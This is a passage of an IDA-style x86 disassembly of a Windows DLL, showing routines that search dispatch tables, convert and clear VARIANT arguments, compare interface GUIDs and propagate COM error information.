		xor	ecx, ecx
		cmp	eax, edi
		lea	edx, [ebp+eax*2+var_312]
		jle	short loc_69B2C9E8


loc_69B2C9D3:				; CODE XREF: sub_69B2C95C+82j
		cmp	word ptr [edx],	5Ch
		jz	short loc_69B2C9E0
		inc	ecx
		dec	edx
		dec	edx
		cmp	ecx, eax
		jl	short loc_69B2C9D3


loc_69B2C9E0:				; CODE XREF: sub_69B2C95C+7Bj
		cmp	ecx, 27h
		jle	short loc_69B2C9E8
		push	27h
		pop	ecx


loc_69B2C9E8:				; CODE XREF: sub_69B2C95C+75j
					; sub_69B2C95C+87j
		lea	eax, [ecx+ecx]
		mov	ecx, eax
		lea	esi, [edx+2]
		mov	edx, ecx
		shr	ecx, 2
		mov	edi, ebx
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		and	word_69B9B1D8[eax], 0
		pop	esi


loc_69B2CA09:				; CODE XREF: sub_69B2C95C+24j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		mov	eax, ebx
		pop	ebx
		call	sub_69B1B9F6
		leave
		retn
sub_69B2C95C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2CA1A	proc near		; CODE XREF: sub_69B2CF59+22p
					; sub_69B2CFAA+34p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_14		= dword	ptr  1Ch
arg_18		= byte ptr  20h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		push	esi
		push	edi
		jz	loc_69B2CAAD
		cmp	[ebp+arg_4], ebx
		jz	short loc_69B2CAAD
		cmp	[ebp+arg_8], ebx
		jz	short loc_69B2CAAD
		mov	edi, [ebp+arg_C]
		cmp	edi, ebx
		jz	short loc_69B2CAAD
		cmp	[ebp+arg_14], ebx
		jz	short loc_69B2CAAD
		cmp	[ebp+arg_4], 1
		jnz	short loc_69B2CAA2
		dec	edi


loc_69B2CA48:				; CODE XREF: sub_69B2CA1A+5Bj
		mov	ecx, [ebp+arg_8]
		lea	eax, [edi+ebx]
		cdq
		sub	eax, edx
		mov	esi, eax
		sar	esi, 1
		lea	eax, [esi+esi*2]
		push	dword ptr [ecx+eax*8]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	sub_69B2ED17
		test	eax, eax
		jge	short loc_69B2CA6E
		lea	edi, [esi-1]
		jmp	short loc_69B2CA73
; ---------------------------------------------------------------------------


loc_69B2CA6E:				; CODE XREF: sub_69B2CA1A+4Dj
		jle	short loc_69B2CA79
		lea	ebx, [esi+1]


loc_69B2CA73:				; CODE XREF: sub_69B2CA1A+52j
		cmp	ebx, edi
		jle	short loc_69B2CA48
		jmp	short loc_69B2CAA2
; ---------------------------------------------------------------------------


loc_69B2CA79:				; CODE XREF: sub_69B2CA1A:loc_69B2CA6Ej
		cmp	[ebp+arg_18], 0
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_14]
		lea	eax, [esi+esi*2]
		lea	eax, [ecx+eax*8]
		mov	ecx, [eax+4]
		mov	[edx], ecx
		jz	short loc_69B2CAA9
		push	dword ptr [eax]
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	sub_69B84A8E
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_69B2CAA9


loc_69B2CAA2:				; CODE XREF: sub_69B2CA1A+2Bj
					; sub_69B2CA1A+5Dj
		mov	eax, 80020006h
		jmp	short loc_69B2CAB2
; ---------------------------------------------------------------------------


loc_69B2CAA9:				; CODE XREF: sub_69B2CA1A+74j
					; sub_69B2CA1A+86j
		xor	eax, eax
		jmp	short loc_69B2CAB2
; ---------------------------------------------------------------------------


loc_69B2CAAD:				; CODE XREF: sub_69B2CA1A+Bj
					; sub_69B2CA1A+14j ...
		mov	eax, 80070057h


loc_69B2CAB2:				; CODE XREF: sub_69B2CA1A+8Dj
					; sub_69B2CA1A+91j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	1Ch
sub_69B2CA1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2CAB9	proc near		; CODE XREF: sub_69B2D0C7+32p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		xor	edi, edi
		dec	esi


loc_69B2CAC7:				; CODE XREF: sub_69B2CAB9+2Dj
		mov	ecx, [esp+0Ch+arg_0]
		lea	eax, [esi+edi]
		cdq
		sub	eax, edx
		sar	eax, 1
		sub	ecx, [ebx+eax*8]
		jns	short loc_69B2CADD
		lea	esi, [eax-1]
		jmp	short loc_69B2CAE4
; ---------------------------------------------------------------------------


loc_69B2CADD:				; CODE XREF: sub_69B2CAB9+1Dj
		test	ecx, ecx
		jle	short loc_69B2CAEF
		lea	edi, [eax+1]


loc_69B2CAE4:				; CODE XREF: sub_69B2CAB9+22j
		cmp	edi, esi
		jle	short loc_69B2CAC7
		mov	eax, 80020003h
		jmp	short loc_69B2CAFB
; ---------------------------------------------------------------------------


loc_69B2CAEF:				; CODE XREF: sub_69B2CAB9+26j
		mov	eax, [ebx+eax*8+4]
		mov	ecx, [esp+0Ch+arg_C]
		mov	[ecx], eax
		xor	eax, eax


loc_69B2CAFB:				; CODE XREF: sub_69B2CAB9+34j
		pop	edi
		pop	esi
		pop	ebx
		retn	10h
sub_69B2CAB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2CB01(int, VARIANTARG *pvargDest, int, int, int)

sub_69B2CB01	proc near		; CODE XREF: sub_69B2CCD1+C6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
pvargDest	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+pvargDest]
		push	esi
		mov	esi, [ebp+arg_10]
		lea	ecx, [esi+esi*2]
		shl	ecx, 3
		mov	edx, ecx
		shr	ecx, 2
		push	edi
		xor	eax, eax
		mov	edi, ebx
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		xor	edx, edx
		test	esi, esi
		rep stosb
		mov	[ebp+var_8], edx
		jbe	loc_69B2CCC7


loc_69B2CB38:				; CODE XREF: sub_69B2CB01+1C0j
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		mov	si, [eax+edx*2]
		mov	ecx, esi
		shr	ecx, 0Bh
		and	cl, 1
		mov	byte ptr [ebp+pvargDest+3], cl
		mov	ecx, [ebp+arg_0]
		mov	eax, esi
		mov	esi, [ecx+8]
		and	eax, 0F7FFh
		cmp	edx, esi
		jnb	loc_69B2CC8B
		cmp	[ebp+var_4], 0
		jl	loc_69B2CC8B
		sub	esi, edx
		dec	esi
		shl	esi, 4
		add	esi, [ecx]
		mov	edi, 4000h
		jmp	short loc_69B2CB8E
; ---------------------------------------------------------------------------


loc_69B2CB7A:				; CODE XREF: sub_69B2CB01+93j
		and	cx, 0FFFh
		cmp	cx, 0Ch
		jnz	short loc_69B2CB96
		mov	ecx, [esi+8]
		test	ecx, ecx
		jz	short loc_69B2CB96
		mov	esi, ecx


loc_69B2CB8E:				; CODE XREF: sub_69B2CB01+77j
		mov	cx, [esi]
		test	cx, di
		jnz	short loc_69B2CB7A


loc_69B2CB96:				; CODE XREF: sub_69B2CB01+82j
					; sub_69B2CB01+89j
		test	ax, di
		jz	short loc_69B2CBDD
		cmp	ax, 400Ch
		jnz	short loc_69B2CBBD
		test	[esi], di
		jnz	short loc_69B2CBB0
		push	esi		; pvarg
		call	VariantClear
		mov	[ebp+var_4], eax


loc_69B2CBB0:				; CODE XREF: sub_69B2CB01+A3j
		mov	word ptr [ebx],	400Ch
		mov	[ebx+8], esi
		jmp	loc_69B2CC7D
; ---------------------------------------------------------------------------


loc_69B2CBBD:				; CODE XREF: sub_69B2CB01+9Ej
		movzx	ecx, word ptr [esi]
		movzx	eax, ax
		xor	ecx, eax
		test	ecx, 0FFFFBFFFh
		jz	loc_69B2CC77


loc_69B2CBD1:				; CODE XREF: sub_69B2CB01+165j
		mov	[ebp+var_4], 80020005h
		jmp	loc_69B2CC7D
; ---------------------------------------------------------------------------


loc_69B2CBDD:				; CODE XREF: sub_69B2CB01+98j
		movzx	ecx, word ptr [esi]
		movzx	edx, ax
		xor	ecx, edx
		test	ecx, 0FFFFBFFFh
		jz	short loc_69B2CC16
		cmp	ax, 0Ch
		jz	short loc_69B2CC16
		cmp	word ptr [esi],	0Ah
		jnz	short loc_69B2CC02
		cmp	dword ptr [esi+8], 80020004h
		jz	short loc_69B2CC16


loc_69B2CC02:				; CODE XREF: sub_69B2CB01+F6j
		push	eax		; vt
		push	0		; wFlags
		push	esi		; pvarSrc
		push	ebx		; pvargDest
		mov	byte ptr [ebx+10h], 1
		call	VariantChangeType
		mov	[ebp+var_4], eax
		jmp	short loc_69B2CC7D
; ---------------------------------------------------------------------------


loc_69B2CC16:				; CODE XREF: sub_69B2CB01+EAj
					; sub_69B2CB01+F0j ...
		cmp	ax, 9
		jnz	short loc_69B2CC77
		mov	cx, [esi]
		test	cx, di
		mov	eax, [esi+8]
		jz	short loc_69B2CC29
		mov	eax, [eax]


loc_69B2CC29:				; CODE XREF: sub_69B2CB01+124j
		test	eax, eax
		jz	short loc_69B2CC77
		cmp	cx, 9
		jnz	short loc_69B2CC4A
		mov	edx, [ebp+var_8]
		mov	esi, [esi+8]
		mov	eax, [esi]
		lea	ecx, [ebx+8]
		push	ecx
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+edx*4]
		push	esi
		call	dword ptr [eax]
		jmp	short loc_69B2CC61
; ---------------------------------------------------------------------------


loc_69B2CC4A:				; CODE XREF: sub_69B2CB01+130j
		mov	eax, [esi+8]
		mov	esi, [ebp+var_8]
		mov	eax, [eax]
		mov	ecx, [eax]
		lea	edx, [ebx+8]
		push	edx
		mov	edx, [ebp+arg_C]
		push	dword ptr [edx+esi*4]
		push	eax
		call	dword ptr [ecx]


loc_69B2CC61:				; CODE XREF: sub_69B2CB01+147j
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	loc_69B2CBD1
		mov	byte ptr [ebx+10h], 1
		mov	word ptr [ebx],	9
		jmp	short loc_69B2CC7D
; ---------------------------------------------------------------------------


loc_69B2CC77:				; CODE XREF: sub_69B2CB01+CAj
					; sub_69B2CB01+119j ...
		mov	edi, ebx
		movsd
		movsd
		movsd
		movsd


loc_69B2CC7D:				; CODE XREF: sub_69B2CB01+B7j
					; sub_69B2CB01+D7j ...
		cmp	[ebp+var_4], 0
		jl	short loc_69B2CCA1
		cmp	word ptr [ebx],	0Ah
		jnz	short loc_69B2CCA1
		jmp	short loc_69B2CC9D
; ---------------------------------------------------------------------------


loc_69B2CC8B:				; CODE XREF: sub_69B2CB01+5Aj
					; sub_69B2CB01+64j
		cmp	[ebp+var_4], 0
		mov	word ptr [ebx],	0Ah
		mov	dword ptr [ebx+8], 80020004h
		jl	short loc_69B2CCA1


loc_69B2CC9D:				; CODE XREF: sub_69B2CB01+188j
		mov	byte ptr [ebx+11h], 1


loc_69B2CCA1:				; CODE XREF: sub_69B2CB01+180j
					; sub_69B2CB01+186j ...
		cmp	byte ptr [ebx+11h], 0
		jz	short loc_69B2CCB4
		cmp	byte ptr [ebp+pvargDest+3], 0
		jnz	short loc_69B2CCB4
		mov	[ebp+var_4], 8002000Eh


loc_69B2CCB4:				; CODE XREF: sub_69B2CB01+1A4j
					; sub_69B2CB01+1AAj
		mov	edx, [ebp+var_8]
		inc	edx
		add	ebx, 18h
		cmp	edx, [ebp+arg_10]
		mov	[ebp+var_8], edx
		jb	loc_69B2CB38


loc_69B2CCC7:				; CODE XREF: sub_69B2CB01+31j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B2CB01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2CCD1(int, char,	int, int, VARIANTARG *pvargDest, int, int)

sub_69B2CCD1	proc near		; CODE XREF: sub_69B2D0C7+E0p

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
pvargDest	= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		and	[ebp+var_8], 0
		test	eax, eax
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		push	edi
		mov	[ebp+var_1], 1
		jnz	short loc_69B2CD04
		test	[ebp+arg_4], 2
		jz	short loc_69B2CD04
		mov	eax, [ebp+arg_18]
		mov	esi, [ebp+arg_14]
		mov	word ptr [eax],	2
		and	dword ptr [esi], 0
		jmp	short loc_69B2CD68
; ---------------------------------------------------------------------------


loc_69B2CD04:				; CODE XREF: sub_69B2CCD1+1Bj
					; sub_69B2CCD1+21j
		xor	edi, edi
		inc	edi
		cmp	eax, edi
		jnz	short loc_69B2CD50
		test	[ebp+arg_4], 0Ch
		jz	short loc_69B2CD50
		mov	ax, [ebx+16h]
		test	al, 0Ch
		jnz	short loc_69B2CD29
		mov	eax, [ebp+arg_14]
		and	dword ptr [eax], 0


loc_69B2CD1F:				; CODE XREF: sub_69B2CCD1+B4j
		mov	edx, 8002000Eh
		jmp	loc_69B2CDE2
; ---------------------------------------------------------------------------


loc_69B2CD29:				; CODE XREF: sub_69B2CCD1+46j
		test	[ebp+arg_4], 4
		jz	short loc_69B2CD3D
		test	al, 4
		jz	short loc_69B2CD3D
		mov	eax, [ebp+arg_18]
		mov	word ptr [eax],	4
		jmp	short loc_69B2CD45
; ---------------------------------------------------------------------------


loc_69B2CD3D:				; CODE XREF: sub_69B2CCD1+5Cj
					; sub_69B2CCD1+60j
		mov	eax, [ebp+arg_18]
		mov	word ptr [eax],	8


loc_69B2CD45:				; CODE XREF: sub_69B2CCD1+6Aj
		mov	esi, [ebp+arg_14]
		mov	[ebp+var_1], 0
		mov	[esi], edi
		jmp	short loc_69B2CD68
; ---------------------------------------------------------------------------


loc_69B2CD50:				; CODE XREF: sub_69B2CCD1+38j
					; sub_69B2CCD1+3Ej
		movzx	eax, byte ptr [ebx+8]
		mov	esi, [ebp+arg_14]
		mov	[esi], eax
		mov	eax, [ebp+arg_18]
		mov	[eax], di
		cmp	word ptr [ebx+14h], 0Ah
		setnz	[ebp+var_1]


loc_69B2CD68:				; CODE XREF: sub_69B2CCD1+31j
					; sub_69B2CCD1+7Dj
		mov	dx, [ebx+16h]
		test	[eax], dx
		jnz	short loc_69B2CD7B
		and	dword ptr [esi], 0
		mov	edx, 80020003h
		jmp	short loc_69B2CDE2
; ---------------------------------------------------------------------------


loc_69B2CD7B:				; CODE XREF: sub_69B2CCD1+9Ej
		mov	eax, [esi]
		cmp	[ecx+8], eax
		jbe	short loc_69B2CD87
		and	dword ptr [esi], 0
		jmp	short loc_69B2CD1F
; ---------------------------------------------------------------------------


loc_69B2CD87:				; CODE XREF: sub_69B2CCD1+AFj
		test	eax, eax
		mov	edi, [ebp+pvargDest]
		jbe	short loc_69B2CDA4
		push	eax		; int
		push	dword ptr [ebx+10h] ; int
		push	dword ptr [ebx+0Ch] ; int
		push	edi		; pvargDest
		push	ecx		; int
		call	sub_69B2CB01
		mov	edx, eax
		test	edx, edx
		jnz	short loc_69B2CDE2
		jmp	short loc_69B2CDA7
; ---------------------------------------------------------------------------


loc_69B2CDA4:				; CODE XREF: sub_69B2CCD1+BBj
		mov	edx, [ebp+var_8]


loc_69B2CDA7:				; CODE XREF: sub_69B2CCD1+D1j
		cmp	[ebp+var_1], 0
		jz	short loc_69B2CDE2
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_69B2CDCB
		mov	eax, [esi]
		lea	eax, [eax+eax*2]
		lea	eax, [edi+eax*8]
		mov	[ecx], eax
		mov	eax, [esi]
		lea	eax, [eax+eax*2]
		mov	byte ptr [edi+eax*8+10h], 1
		inc	dword ptr [esi]


loc_69B2CDCB:				; CODE XREF: sub_69B2CCD1+E2j
		mov	edi, [ecx]
		xor	eax, eax
		stosd
		stosd
		stosd
		stosd
		mov	bx, [ebx+14h]
		cmp	bx, 18h
		jz	short loc_69B2CDE2
		mov	eax, [ecx]
		mov	[eax], bx


loc_69B2CDE2:				; CODE XREF: sub_69B2CCD1+53j
					; sub_69B2CCD1+A8j ...
		pop	edi
		pop	esi
		mov	eax, edx
		pop	ebx
		leave
		retn	1Ch
sub_69B2CCD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2CDEB	proc near		; CODE XREF: sub_69B2D0C7+144p

perrinfo	= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, [eax]
		xor	ebx, ebx
		cmp	edi, 8002000Eh
		mov	[ebp+perrinfo],	ebx
		jz	short loc_69B2CE7C
		cmp	edi, 80020007h
		jz	short loc_69B2CE7C
		cmp	edi, 80020003h
		jz	short loc_69B2CE7C
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[esi], bx
		mov	eax, [eax]
		mov	[esi+1Ch], eax
		lea	eax, [ebp+perrinfo]
		push	eax		; pperrinfo
		push	ebx		; dwReserved
		call	GetErrorInfo
		cmp	[ebp+perrinfo],	ebx
		jz	short loc_69B2CE7B
		push	[ebp+perrinfo]	; perrinfo
		push	ebx		; dwReserved
		call	SetErrorInfo
		mov	eax, [ebp+perrinfo]
		mov	ecx, [eax]
		lea	edx, [esi+10h]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	eax, [ebp+perrinfo]
		mov	ecx, [eax]
		lea	edx, [esi+4]
		push	edx
		push	eax
		call	dword ptr [ecx+10h]
		mov	eax, [ebp+perrinfo]
		mov	ecx, [eax]
		lea	edx, [esi+8]
		push	edx
		push	eax
		call	dword ptr [ecx+14h]
		mov	eax, [ebp+perrinfo]
		mov	ecx, [eax]
		add	esi, 0Ch
		push	esi
		push	eax
		call	dword ptr [ecx+18h]
		mov	eax, [ebp+perrinfo]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	edi, 80020009h


loc_69B2CE7B:				; CODE XREF: sub_69B2CDEB+42j
		pop	esi


loc_69B2CE7C:				; CODE XREF: sub_69B2CDEB+16j
					; sub_69B2CDEB+1Ej ...
		mov	eax, edi
		pop	edi
		pop	ebx
		leave
		retn	8
sub_69B2CDEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2CE84	proc near		; CODE XREF: sub_69B4062A+11p
					; sub_69B7D61C+11p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		test	eax, eax
		push	ebx
		mov	ebx, ecx
		jnz	short loc_69B2CE98
		mov	eax, 80004003h
		jmp	short loc_69B2CEFA
; ---------------------------------------------------------------------------


loc_69B2CE98:				; CODE XREF: sub_69B2CE84+Bj
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFE0
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B2CEE8
		mov	edx, [ebx+4]
		mov	edi, [edx+4]
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B2CEE8
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFC0
		xor	edx, edx
		repe cmpsd
		jnz	short loc_69B2CEDE
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, [ebp+arg_8]
		mov	[eax], ebx
		jmp	short loc_69B2CEF6
; ---------------------------------------------------------------------------


loc_69B2CEDE:				; CODE XREF: sub_69B2CE84+48j
		and	dword ptr [eax], 0
		mov	eax, 80004002h
		jmp	short loc_69B2CEF8
; ---------------------------------------------------------------------------


loc_69B2CEE8:				; CODE XREF: sub_69B2CE84+25j
					; sub_69B2CE84+37j
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+arg_8]
		mov	[eax], esi


loc_69B2CEF6:				; CODE XREF: sub_69B2CE84+58j
		xor	eax, eax


loc_69B2CEF8:				; CODE XREF: sub_69B2CE84+62j
		pop	edi
		pop	esi


loc_69B2CEFA:				; CODE XREF: sub_69B2CE84+12j
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B2CE84	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2CEFF	proc near		; CODE XREF: sub_69B5A0DE+Cp

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	dword ptr [eax], 1
		xor	eax, eax
		retn	8
sub_69B2CEFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2CF0E	proc near		; DATA XREF: .text:69B14B40o
					; .text:69B14C1Co ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+4]
		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, [eax+4]
		push	4
		pop	ecx
		xor	eax, eax
		repe cmpsd
		pop	edi
		setnz	al
		pop	esi
		retn	8
sub_69B2CF0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2CF2D	proc near		; CODE XREF: sub_69B2D21C+13p

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B2CF45
		push	[esp+4+arg_8]
		push	esi
		call	sub_69B2C8D5
		test	eax, eax
		jnz	short loc_69B2CF55


loc_69B2CF45:				; CODE XREF: sub_69B2CF2D+8j
		mov	eax, [esi]
		mov	ecx, [esp+4+arg_C]
		mov	[ecx], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		xor	eax, eax


loc_69B2CF55:				; CODE XREF: sub_69B2CF2D+16j
		pop	esi
		retn	10h
sub_69B2CF2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2CF59	proc near		; CODE XREF: sub_69B2D237+18p
					; sub_69B4107B+69p

arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+10h]
		test	eax, eax
		jz	short loc_69B2CF82
		movzx	ecx, byte ptr [esi+14h]
		push	0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ecx
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_69B2CA1A
		jmp	short loc_69B2CFA5
; ---------------------------------------------------------------------------


loc_69B2CF82:				; CODE XREF: sub_69B2CF59+Cj
		cmp	dword ptr [esi], 0
		jnz	short loc_69B2CF94
		push	[ebp+arg_10]
		push	esi
		call	sub_69B2C8D5
		test	eax, eax
		jnz	short loc_69B2CFA5


loc_69B2CF94:				; CODE XREF: sub_69B2CF59+2Cj
		push	[ebp+arg_14]
		mov	esi, [esi]
		push	[ebp+arg_C]
		mov	eax, [esi]
		push	[ebp+arg_8]
		push	esi
		call	dword ptr [eax+28h]


loc_69B2CFA5:				; CODE XREF: sub_69B2CF59+27j
					; sub_69B2CF59+39j
		pop	esi
		pop	ebp
		retn	18h
sub_69B2CF59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2CFAA(int, char,	LPCWSTR	strIn, int, LPCWSTR psz2)

sub_69B2CFAA	proc near		; CODE XREF: sub_69B3BAE4+13p
					; sub_69B3C2C6+13p ...

pvarg		= VARIANTARG ptr -10h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
strIn		= dword	ptr  10h
arg_C		= dword	ptr  14h
psz2		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+10h]
		test	eax, eax
		push	edi
		jz	short loc_69B2CFE7
		mov	ebx, [ebp+psz2]
		xor	ecx, ecx
		mov	cl, byte ptr [ebp+arg_C]
		and	ecx, 0FFFFFF01h
		push	ecx
		movzx	ecx, byte ptr [esi+14h]
		push	ebx
		push	409h
		push	ecx
		push	eax
		push	1
		lea	eax, [ebp+strIn]
		push	eax
		call	sub_69B2CA1A
		mov	edi, eax
		jmp	short loc_69B2D05E
; ---------------------------------------------------------------------------


loc_69B2CFE7:				; CODE XREF: sub_69B2CFAA+11j
		cmp	dword ptr [esi], 0
		jnz	short loc_69B2D001
		push	409h
		push	esi
		call	sub_69B2C8D5
		mov	edi, eax
		test	edi, edi
		jnz	loc_69B2D0BE


loc_69B2D001:				; CODE XREF: sub_69B2CFAA+40j
		mov	ebx, [ebp+psz2]
		mov	eax, [esi]
		mov	ecx, [eax]
		push	ebx
		push	1
		lea	edx, [ebp+strIn]
		push	edx
		push	eax
		call	dword ptr [ecx+28h]
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B2D062
		test	byte ptr [ebp+arg_C], 1
		jz	loc_69B2D0BE
		mov	esi, [esi]
		and	[ebp+arg_C], eax
		mov	eax, [esi]
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	1
		lea	ecx, [ebp+psz2]
		push	ecx
		push	dword ptr [ebx]
		push	esi
		call	dword ptr [eax+1Ch]
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B2D062
		push	[ebp+psz2]	; psz2
		push	[ebp+strIn]	; psz1
		call	ds:StrCmpW	; StrCmpW
		test	eax, eax
		jz	short loc_69B2D055
		mov	edi, 80020006h


loc_69B2D055:				; CODE XREF: sub_69B2CFAA+A4j
		push	[ebp+psz2]	; BSTR
		call	SysFreeString


loc_69B2D05E:				; CODE XREF: sub_69B2CFAA+3Bj
		test	edi, edi
		jz	short loc_69B2D0BE


loc_69B2D062:				; CODE XREF: sub_69B2CFAA+6Dj
					; sub_69B2CFAA+94j
		cmp	[ebp+arg_4], 0
		jz	short loc_69B2D0BE
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		push	0		; int
		push	0		; int
		lea	eax, [ebp+pvarg]
		push	eax		; pvar
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	19h		; int
		push	[ebp+strIn]	; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax		; cElements
		push	[ebp+strIn]	; strIn
		call	sub_69B30856
		test	eax, eax
		jnz	short loc_69B2D0B4
		cmp	word ptr [ebp+pvarg.anonymous_0], 3
		jnz	short loc_69B2D0B4
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		test	eax, eax
		jl	short loc_69B2D0B4
		cmp	eax, 1E847Fh
		jg	short loc_69B2D0B4
		add	eax, 0F4240h
		mov	[ebx], eax
		xor	edi, edi


loc_69B2D0B4:				; CODE XREF: sub_69B2CFAA+EAj
					; sub_69B2CFAA+F1j ...
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear


loc_69B2D0BE:				; CODE XREF: sub_69B2CFAA+51j
					; sub_69B2CFAA+73j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B2CFAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2D0C7	proc near		; CODE XREF: sub_69B2D258+36p

pvargDest	= VARIANTARG ptr -10Ch
pvarg		= VARIANTARG ptr -1Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	[ebp+arg_1C], ebx
		push	edi
		push	ebx		; perrinfo
		push	ebx		; dwReserved
		setnz	[ebp+var_1]
		mov	[ebp+var_8], ebx
		call	SetErrorInfo
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_C]
		push	eax
		movzx	eax, byte ptr [esi+1Ch]
		push	eax
		push	dword ptr [esi+18h]
		push	[ebp+arg_8]
		call	sub_69B2CAB9
		cmp	eax, ebx
		mov	[ebp+arg_4], eax
		jl	loc_69B2D1FF
		mov	eax, [ebp+var_C]
		mov	edi, [ebp+arg_14]
		cmp	[edi+8], ebx
		mov	ecx, [esi+10h]
		lea	eax, [eax+eax*2]
		lea	eax, [ecx+eax*8]
		jbe	short loc_69B2D18F
		cmp	[ebp+arg_8], ebx
		jz	short loc_69B2D18F
		test	[ebp+arg_10], 1
		jz	short loc_69B2D18F
		test	byte ptr [eax+16h], 2
		jz	short loc_69B2D18F
		cmp	word ptr [eax+14h], 9
